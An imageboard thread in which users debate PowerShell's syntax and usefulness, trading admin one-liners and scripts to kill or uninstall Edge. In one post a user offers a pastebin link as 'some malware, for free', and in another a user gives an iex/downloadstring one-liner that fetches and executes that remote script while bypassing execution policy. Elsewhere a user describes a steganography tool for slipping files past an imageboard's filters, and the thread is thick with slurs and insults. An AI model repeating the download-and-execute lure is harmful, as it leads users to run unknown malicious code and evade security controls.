Holy hell I tried powershell... and I actually like it

Holy hell I tried powershell... and I actually like it.

Everything is verb-noun: get-aduser, set-aduser etc.
Literally can just tab until you find the function you need
Switch has a wildcard parameter so things like "*fileserver" can be a case
Running code on another computer is literally just command -ComputerName [whatever]
Once you know how the filter works and the above you can literally do anything.

And believe it or not the day-to-day syntax isn't as ugly as you would think
$timeout = (Get-Date).AddDays(-100)
$group = get-adgroup "Staff"
get-aduser -Properties memberof -filter {enabled -eq $true -and LastLogonTimestamp -lt $timeout}`
| Where-Object {$group.DistinguishedName -notin $_.memberOf} | Out-GridView

Is the first time microsoft got it right?

Attached: windows-powershell-960x540.jpg (960x540, 34K)

Other urls found in this thread:

pastebin.com/5Vsmd3Ke
someurlhere.com
blogs.technet.microsoft.com/heyscriptingguy/2010/06/16/hey-scripting-guy-how-can-i-sign-windows-powershell-scripts-with-an-enterprise-windows-pki-part-1-of-2/
blogs.technet.microsoft.com/heyscriptingguy/2010/06/17/hey-scripting-guy-how-can-i-sign-windows-powershell-scripts-with-an-enterprise-windows-pki-part-2-of-2/
github.com/adolfintel/Windows10-Privacy
pastebin.com/raw/58DkBgW4
github.com/PowerShell/PowerShell
twitter.com/SFWRedditGifs

They got it mostly right and most people here hate it. I love it, I use it for everything.

they bundled a module for improved tab-completion in windows 10 so it makes it easier to work with

Rumor has it they are no longer going to be putting it on Windows by default. 5.1 is the latest and 6.0 will always only dot net core and never for Windows.

It's like unix if it were good.
Scripts and commands are verbose and well documented, so instead of memorizing and using obscure "sekrit klub" recursive acronym in-joke commands all day, you write reusable elegant scripts that can be easily read and understood by anyone.

Attached: 1517738336573.jpg (880x825, 595K)

>They got it mostly right and most people here hate it.
because it took them YEARS to get to a usable point and even now it's still a verbose piece of shit
the only redeeming thing about PS is that it has full access to the win32 api/.net stuff and it passes objects not strings

what is stdin-stdout pipe?

>Verbose
54 char obligatory fizzbuzz
1..100|%{($_,('Fizz'*!($_%3)+'Buzz'*!($_%5))|sort)[1]}

>It's not verbose! It's just an overly complex, write-only language. Copypasting code golf means I'm smart.

>Write only language?
Huh?
>Codegolf
That was an example.

Here's a more simple one for you. Call an API in Powershell:
irm htts://someurlhere.com -m GET

Do that in one line elsewhere.

you can't be serious, curl foobar.com
also >irm, so much for 'muh verbose commands, no sekrit club acronyms'
>b-but it's an alias!!

Can someone please write me a program that closes Edge (which runs in the background) in powershell script?

t. literally disabled brainlet

>That was an example
my sides

>Needs a builtin for simple http requests
>Never heard of curl
>htts://
Dumb CIA nigger confirmed

It's line-noise-esque syntax pisses me off. I don't actually like it much - I've been administering Windows for years, and I'm baby-ducked to scripting netsh, wmic, etc. for my duties. But yeah, PS's power/capability are undeniable.

Open your non-memetic windows command prompt instead of powershit: taskkill /f /im MicrosoftEdge.exe

Or copy+paste into a file as "kill_edge.bat" and just double click to run it from now on

Stop-Process -name "edge*" -Force

But I don't have edge on my servers so I don't know what the process is called

you can use that same exact command in powershell sweetie

while($true){
If (get-process *edge*){
Stop-process *edge*
}
Sleep 45
}

Save that as a ps1 have it run at start up. Edge will never stay running.

The only people who hate PowerShell are the ones who don't have programming jobs.

it uses 1.5MB of ram you cheap nigger

uses 0 when closed faggot

It eventually kills itself after scaling back to less and less RAM used.

it's certainly better than batch, but that's not exactly a high bar to pass. Brainfuck would have been a better shell scripting language than batch.

I like it overall, but I find the syntax kind of annoying to work with.

Can you run it under WINE?

There's a native Linux port on Github.

>sweetie
Their is no need for that childish, patronising tone

>native Linux port on Github.
Didnt know that. Thanks

okay, sweaty

>using obscure "sekrit klub" recursive acronym in-joke commands

most standard ones are just straight acronyms
most of them have shortened names due to being made in the era of teletypes, which were slow and mechanical
no one's changed them because it turns out they're really good tools even if they're largely from the 70s, and Unix has a long history of backwards compatibility, and the short names are convenient for the people who actually use them

PS's syntax is too fucking nasty for a fresh take on shell scripting and ends up looking similarly awful as say, a bash script (which is mostly awful because of legacy shit, an excuse that PowerShell doesn't get), except you get a bunch of long-ass word salad shit mixed in with the line-noise symbols typical of shell scripting languages.

Really, I'd say it's Unix if it were just okay. It's not terrible, but it's no Unix-killer.

Get out of Jow Forums microsoft stop posting threads. Only redhat is allowed to post here

It's syntax is a little fucky.

Oh my god this is fucking atrocious. This is as much of an argument with one with a Trump cock-sucker. You have pure shit in front of your eyes and your closed-minded delusion makes you defend it.
>irm
>no sekrit club acronyms
Fuck out of here.

>Do that in one line elsewhere.

Attached: capture.jpg (358x361, 31K)

heres some fun powershell.
if you run it you get some malware, for free!
pastebin.com/5Vsmd3Ke

>This is as much of an argument with one with a Trump cock-sucker. You have pure shit in front of your eyes and your closed-minded delusion makes you defend it.
you could not be glowing harder lol

Attached: 1534202731471.png (766x587, 400K)

>aduser
What did they meant by this?
Ads User?
Advertising User?
Advertisement User?

Cease-Shilling -user OP

>Is the first time microsoft got it right?

No, Don Jones and his team got it right

>Do that in one line elsewhere.
ok
curl someurlhere.com
wget someurlhere.com

Attached: retarded1.png (219x131, 7K)

how are they going to get people to run sfc /scannow then?

i have to use it for my new job, nothing too fancy yet, but it is pretty nice. it's not going to make me drop linux shells, but it makes me like microsoft ones.

Powershell is based

Attached: powershell_2018-08-16_12-00-52.png (859x732, 35K)

It's shit and a waste of time, there's no reason to bother with using a command line tool on an OS that only exists to write word documents and play games.

>an OS that only exists to write word documents and play games
Miserable anime watching faggot. We both know Linux users waste more time doing stupid shit like watchimg loli animes and ricing desktops than Windows users.

So I'm supposed to be wasting time typing dir into pajeetshell instead? Fuck off.

Attached: revving_noises.png (288x390, 241K)

>waste more time doing stupid shit like watchimg loli
ok i will

Attached: SoldTownGirl.png (1366x768, 647K)

what game is that?

look at the file name

> and I actually like it.
Get back to your home planet.

I would use it at work if tab autocomplete worked faster on those toasters they call computers.

I mean first time it takes a bloody minute.

More like

Set-shilling false -user OP

I AM NOT THE ONLY ONE! THANK JESUS!

This is the one FUCKING thing I hate, it could be RSAT since ISE and the Shell both Import-Moudle * on the default PS Profile, since I've noticed it's far quicker without RSAT.

Unexpected "false" where expected type [bool]?

>pic
Is there something like this in VR?

if you find one, let me know, i would want to play it

saving this thread

Here's to execute it in the shell directly bypassing any execution policy limits.
iex (new-object net.webclient).downloadstring("pastebin.com/raw/5Vsmd3Ke")

Active Directory user
you fucking monkey

In contrast to Powershell, bash has limited discoverability. There's no particular command grouping which would imply an exclusive interaction amongst several commands. There are no built-in articles covering useful topics. It's even hard to find all aliases and commands they link to. To find command parameters it's mandatory to read documentation, while Powershell can expand parameters inline. Indeed it's possible to write a function in Powershell without no documentation and still have the parameters be discoverable.

>except you get a bunch of long-ass word salad shit mixed in with the line-noise symbols typical of shell scripting languages.
This absolutely depends on your style. You can abstain from all the CLI-like interactions and make it look clean as any other procedural language. You're only getting salad, if you write it like a salad.

>Sekrit club
Kek

irm -invoke rest method
Iwr - invoke web request

But it's only for club members, don't tell anyone.

If having an open mind makes me a CIA nigger, I don't know what to tell you bud.

Fuck off Bill G*tes

a good powershell book
>"Learn Windows PowerShell in a Month of Lunches"
you can find the pdf by searching the book's name on google

I didn't like PowerShell at first because of how verbose it is compared to bash, but I just started using it for the first time today at work to make working on some types of tickets easier and semi-automated and I gotta say, I'm pretty surprised that the verbosity doesn't bother me so much for a good bit of it.
I would still prefer if arguments were more succinct but it's forgiveable given the overall readability and intuitiveness in general. Still prefer bash though.

you can shorten the argument names, provided that what's left isn't ambiguous, for example:
Get-Item -Exclude "something"
Get-Item -E "something"
you can make it as short as you want as long as it's unique

and if it's a positional parameter you don't have to type it at all

>I didn't like PowerShell at first because of how verbose it is compared to bash

You say that when writing it but never when reading it. Trust me.

>blindly follows establishment and media
>open mind
Top jej

Since when does criticism for cock-suckers equal to following the media?

>do desktop support for military as contractor
>make powershell script to speed incidents of a similar nature up
>.\script.ps1
>"execution of scripts is disabled on this system"
>right click
>run with PowerShell
>runs
For what purpose

it's so it can't auto-run unsigned scripts
you can change the execution policy if you can/want

Why don't you just uninstall it?

this, I think it's possible to uninstall it using powershell

it probably is, 90% of all GUI functionality on windows 10 are just powershell wrappers

I'm not sure I have policy editing privilege.

I don't know about user's PS command, but cURL and wget are softwares totally independent from the shell.
You can install those on Windows and Power shell btw.

try running "Set-ExecutionPolicy RemoteSigned" when you have the chance
or don't, I don't know if there's a command log someone could look at afterwards and give you a hard time
even more that you're working for military

or you could even try and see how a script signature works and make your own

I didn't read it, but I think it could be it
blogs.technet.microsoft.com/heyscriptingguy/2010/06/16/hey-scripting-guy-how-can-i-sign-windows-powershell-scripts-with-an-enterprise-windows-pki-part-1-of-2/
blogs.technet.microsoft.com/heyscriptingguy/2010/06/17/hey-scripting-guy-how-can-i-sign-windows-powershell-scripts-with-an-enterprise-windows-pki-part-2-of-2/

I mean I imagine it works like a standard digital signature, but if it does then that means that the CA has to give the go-ahead for my certificate to say "Yep this dude is allowed to do that."

Everything's monitored pretty closely but I honestly don't give a fuck, I automatically assume if the computer lets me I'm allowed to do it and my supervisor seems to have the same mentality so it's whatever.
>inb4 MP's knock at the door
Gonna look into the script running policy and see if my admin certificate can be considered a trusted publisher or not tomorrow when I have time.

>I only use Powershell as a simple terminal to use softwares like youtube-dl, ffmpeg or adb
What should I do with PS?

Attached: DklVR7qU4AAmOsp.png (1536x2048, 3.66M)

anything, you could build a script that sets all your registry/group policy tweaks on a new windows install automatically, custom logon/logoff scripts, manage a large amount of windows functionality automatically, etc

I literally can't think of anything to use PS/bash/any programming language for meaningfully at home, but I have good opportunity to use PS practically at work. I love it, and I get a lot of satisfaction from it. I want to chase that feeling at home but I've got ZERO fucking guidance or inspiration.

Easiest way is by installing WimTweak.

When you have that installed open CMD
Write: install_wim_tweak /o /c Microsoft-Windows-Internet-Browser /r
And press enter.

Also if you want to uninstall Adobe Flash with it just type;
install_wim_tweak /o /c Adobe-Flash /r

Debotnet Windows as much as possible there are guides like this one: github.com/adolfintel/Windows10-Privacy

just run Remove-AppxPackage -package Microsoft.MicrosoftEdge
obviously I can't test it

I mean, I always use powershell to run code I wrote, like python 1.py or javac 2.java, java 2, etc. for gcc I switch to sub-linux inside win 10.

>GI -e "something"

I often go though my commands and shorten them all to appease my turbo-autism

anyone who isnt a retard knows that powershell is powerful and useful.

>new-object
>net.webclient
wait! You can actually code C# or VB.NET like in this thing?

I can give you an idea I had floating around.
You could make an imageboard provider for Powershell, so that one could browse Jow Forums like a directory tree using Get-ChildItem/Set-Location. Maybe even post things using New-Item if you can figure out the captcha portion or at least let pass users to post. You'll need to use the Jow Forums API partly for this.

As for me, I've written a a shitty webm converter that picks optimal resolution and bitrate parameters based on input file specifics. More kinetic videos will be converted to a lower resolution than a less kinetic video. Of course the grunt work is done by ffmpeg. The script is a mess, so I don't think of sharing it anytime soon.

I've also written a simple payload embedder into PNG images and a GUI to extract them. Basically stuffing arbitrary files into images, steganography. Such stuffed images can bypass Jow Forums's embedded data filters. I've posted about it in the past. You can see it here:
pastebin.com/raw/58DkBgW4
There's some C# in there for performance reasons when processing bitmap data and to have some minor parallelism in the GUI. Powershell has big overhead, so massive custom loops should be optimized when possible.

Yes, including F# and Jscript. The code in any of these languages can be compiled and reused by Powershell in most cases. And you can import .net compatible assemblies and use classes and methods from there. It's possible to also use WinAPI by importing methods of it via C# and compiling the code. Add-Type cmdlet is used for most of this.

Attached: 201808018.png (644x449, 116K)

No use outside of Windows env. Fuck off

Moron

Senpai
github.com/PowerShell/PowerShell

Im a data analyst who uses sql server, vba, and sometimes c#/vb.net.
What could i use powershell for?

This is why people point and laugh in your ugly face every waking moment of your pointless little life, user.

Or people who use Linux and bash/python instead of this dumpster fire

It kind of feel like fish, so it's pretty good rn but it took years and a lot of plugins

People only use python in excel sweetie.

I use it daily, it's pretty good but also terrible.

you could turn your smaller C# stuff into powershell scripts without much trouble